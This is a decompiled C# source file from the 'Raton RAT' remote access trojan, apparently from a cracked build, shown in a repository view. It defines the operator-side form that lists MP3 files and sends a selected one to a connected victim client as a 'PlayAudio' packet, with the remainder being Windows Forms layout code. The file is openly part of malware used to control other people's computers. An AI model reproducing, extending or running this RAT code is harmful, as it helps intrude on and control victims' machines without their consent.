Files
raton4.0-source/Raton RAT/Raton/Forms/ClientForms/Audio/ratonAudio.cs
T
2026-08-27 11:23:13 -06:00

200 lines
7.4 KiB
C#

// Decompiled with JetBrains decompiler
// Type: Raton.Forms.ClientForms.Audio.ratonAudio
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
using DarkModeForms;
using Raton.Classes;
using Raton.Properties;
using RatonAccessTool.Controls;
using Server.Connection;
using Stuff;
using System;
using System.ComponentModel;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
#nullable disable
namespace Raton.Forms.ClientForms.Audio;
public class ratonAudio : Form
{
private string path = string.Empty;
private IContainer components;
private AeroListView aeroListView1;
private RgbBuildButton button1;
private RgbBuildButton button2;
private Timer timer1;
private ColumnHeader columnHeader1;
private ColumnHeader columnHeader2;
private ImageList imageList1;
public SillyClient SillyClient { get; set; }
public ratonAudio()
{
this.InitializeComponent();
DarkMode.Start((Form) this);
this.LoadAudioFiles();
}
private void ratonAudio_Load(object sender, EventArgs e) => this.timer1.Start();
private void timer1_Tick(object sender, EventArgs e)
{
if (this.SillyClient != null && this.SillyClient.isConnected())
return;
this.Close();
}
private void button2_Click(object sender, EventArgs e)
{
using (OpenFileDialog openFileDialog = new OpenFileDialog())
{
openFileDialog.Filter = "Supported by RatonRAT|*.mp3";
openFileDialog.Title = "Select an audio file";
if (openFileDialog.ShowDialog() != DialogResult.OK)
return;
this.path = openFileDialog.FileName;
}
}
private void LoadAudioFiles()
{
string path = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Audios");
if (!Directory.Exists(path))
return;
foreach (string file in Directory.GetFiles(path, "*.mp3"))
{
ListViewItem listViewItem = new ListViewItem(Path.GetFileName(file))
{
ImageIndex = 0
};
listViewItem.SubItems.Add(file);
listViewItem.ImageIndex = 0;
this.aeroListView1.Items.Add(listViewItem);
}
}
private void button1_Click(object sender, EventArgs e)
{
try
{
if (string.IsNullOrWhiteSpace(this.path) || !File.Exists(this.path))
{
int num1 = (int) Messenger.MessageBox("Select a valid file", "Error", icon: MessageBoxIcon.Hand);
}
else
{
byte[] numArray = File.ReadAllBytes(this.path);
Pack pack = new Pack();
pack.SetString("Packet", "PlayAudio");
pack.Set("Audio", numArray);
this.SillyClient.Send(pack.Pacc());
int num2 = (int) Messenger.MessageBox("The audio was sent", "Sent", MessageBoxButtons.OK, MessageBoxIcon.Asterisk, true);
}
}
catch (Exception ex)
{
int num = (int) Messenger.MessageBox(ex.Message, "Error", icon: MessageBoxIcon.Hand);
}
}
private void aeroListView1_SelectedIndexChanged(object sender, EventArgs e)
{
if (this.aeroListView1.SelectedItems.Count <= 0)
return;
this.path = this.aeroListView1.SelectedItems[0].SubItems[1].Text;
}
protected override void Dispose(bool disposing)
{
if (disposing && this.components != null)
this.components.Dispose();
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = (IContainer) new System.ComponentModel.Container();
AeroListView.ListViewColumnSorter viewColumnSorter = new AeroListView.ListViewColumnSorter();
ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (ratonAudio));
this.aeroListView1 = new AeroListView();
this.columnHeader1 = new ColumnHeader();
this.columnHeader2 = new ColumnHeader();
this.imageList1 = new ImageList(this.components);
this.button1 = new RgbBuildButton();
this.button2 = new RgbBuildButton();
this.timer1 = new Timer(this.components);
this.SuspendLayout();
this.aeroListView1.BorderStyle = BorderStyle.FixedSingle;
this.aeroListView1.Columns.AddRange(new ColumnHeader[2]
{
this.columnHeader1,
this.columnHeader2
});
this.aeroListView1.Font = new Font("Microsoft JhengHei", 9f, FontStyle.Regular, GraphicsUnit.Point, (byte) 0);
this.aeroListView1.FullRowSelect = true;
this.aeroListView1.HideSelection = false;
this.aeroListView1.Location = new Point(11, 12);
viewColumnSorter.Order = SortOrder.None;
viewColumnSorter.SortColumn = 0;
this.aeroListView1.LvwColumnSorter = viewColumnSorter;
this.aeroListView1.Name = "aeroListView1";
this.aeroListView1.Size = new Size(506, 272);
this.aeroListView1.SmallImageList = this.imageList1;
this.aeroListView1.TabIndex = 0;
this.aeroListView1.UseCompatibleStateImageBehavior = false;
this.aeroListView1.View = View.Details;
this.aeroListView1.SelectedIndexChanged += new EventHandler(this.aeroListView1_SelectedIndexChanged);
this.columnHeader1.Text = "Audio name";
this.columnHeader1.Width = 193;
this.columnHeader2.Text = "Path";
this.columnHeader2.Width = 311;
this.imageList1.ImageStream = (ImageListStreamer) componentResourceManager.GetObject("imageList1.ImageStream");
this.imageList1.TransparentColor = Color.Transparent;
this.imageList1.Images.SetKeyName(0, "Audio_16x.png");
this.button1.Cursor = Cursors.Arrow;
this.button1.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button1.ForeColor = Color.White;
this.button1.Icon = (Image) Resources.ic_fluent_headphones_sound_wave_24_filled;
this.button1.IconSize = 25;
this.button1.IconSpacing = 8;
this.button1.Location = new Point(10, 333);
this.button1.Name = "button1";
this.button1.Size = new Size(508, 37);
this.button1.TabIndex = 1;
this.button1.Text = "Send audio";
this.button1.Click += new EventHandler(this.button1_Click);
this.button2.Cursor = Cursors.Arrow;
this.button2.Font = new Font("Segoe UI", 9.75f, FontStyle.Bold, GraphicsUnit.Point, (byte) 0);
this.button2.ForeColor = Color.White;
this.button2.Icon = (Image) Resources.ic_fluent_folder_arrow_up_24_filled;
this.button2.IconSize = 25;
this.button2.IconSpacing = 8;
this.button2.Location = new Point(11, 290);
this.button2.Name = "button2";
this.button2.Size = new Size(507, 37);
this.button2.TabIndex = 2;
this.button2.Text = "Use a custom audio";
this.button2.Click += new EventHandler(this.button2_Click);
this.timer1.Tick += new EventHandler(this.timer1_Tick);
this.AutoScaleDimensions = new SizeF(6f, 13f);
this.AutoScaleMode = AutoScaleMode.Font;
this.ClientSize = new Size(528, 385);
this.Controls.Add((Control) this.button2);
this.Controls.Add((Control) this.button1);
this.Controls.Add((Control) this.aeroListView1);
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon");
this.MaximizeBox = false;
this.Name = nameof (ratonAudio);
this.StartPosition = FormStartPosition.CenterScreen;
this.Text = nameof (ratonAudio);
this.Load += new EventHandler(this.ratonAudio_Load);
this.ResumeLayout(false);
}
}